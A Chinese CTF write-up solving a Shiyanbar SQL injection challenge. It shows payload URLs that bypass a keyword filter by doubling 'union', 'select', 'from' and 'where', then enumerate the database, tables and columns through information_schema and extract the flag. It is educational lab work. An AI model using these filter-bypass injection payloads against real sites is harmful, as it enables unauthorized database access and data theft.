1.实验吧——sql注入1(flag,到底过滤了什么东西? )

0x01:题目

实验吧——sql注入1网址 题目
http://ctf5.shiyanbar.com/423/web/ flag,到底过滤了什么东西?

0x02:WP复现

1.正常访问:

http://ctf5.shiyanbar.com/423/web/			#如下图所示

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第1张图片

2.输入单引号'测试:

http://ctf5.shiyanbar.com/423/web/?id='

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第2张图片

3.在URL框里测试哪些被过滤了:

①输入单引号测试:

http://ctf5.shiyanbar.com/423/web/?id=%27			#很明显是字符型注入

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第3张图片
②使用and测试哪些被过滤:

http://ctf5.shiyanbar.com/423/web/?id=' and 1=1 #			   #如图所示,只要'闭合后,后面的空格+and+空格+空格+#被过滤

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第4张图片
③尝试绕过and——双写法(注意空格也要双写),以及用手动写单引号闭合来绕过#注释符

http://ctf5.shiyanbar.com/423/web/?id='  andand  1='1  					#发现无报错,yes绕过成功

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第5张图片

④为了进一步的验证可以在第一个闭合处,输入1

http://ctf5.shiyanbar.com/423/web/?id=1'  andand  1='1  					#发现无报错,yes绕过成功,回显数据。

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第6张图片
⑤使用or测试:

' or 1=1 #					#发现第一个闭合后,的所有东西被过滤,空格+or+1=1+空格+#,只有一个自动的闭合单引号显示

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第7张图片

⑥尝试

' or 1='1			#不报错。。。。。

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第8张图片
4.order by猜解字段数,虽然可以看出来,好像是1列(1个字段)。

但是这里的order by好像没有作用了。。。。。
1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第9张图片
1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第10张图片
1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第11张图片
5.那就使用union select测试:

①尝试一个字段:

' unionunion  selectselect  '1			#发现,回显正常

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第12张图片
②尝试两个字段:

' unionunion  selectselect  1,'2			#发现,列数不同,所以只能是1列(列即是字段)

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第13张图片
6.使用union select开始暴库,表,字段
①库名

' unionunion  selectselect  database()'				#库名web1(注意:闭合时候,单引号位置要多次尝试,这次就是在database()之后手动闭合,但是order by时候就不行,必须要在1前面闭合)

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第14张图片
②暴库中的表

' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schema=database()'

在这里插入图片描述

' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  '1	  	#注意,只是双写后的要加双空格		#既然上面那一条是查询当前库的当前表查询不到,我们直接查询所有表即可

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第15张图片
③暴表中的字段:
’ unionunion selectselect columcolumn_namen_name fromfrom inforinformation_schema.columnsmation_schema.columns wherewhere ‘1’='1 #出了点问题,字段名应该有flag的
1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第16张图片

④暴flag字段

' unionunion  selectselect  flag fromfrom  flag wherewhere  '1'='1

1.实验吧——sql注入1(flag,到底过滤了什么东西? )_第17张图片

你可能感兴趣的:(实验吧)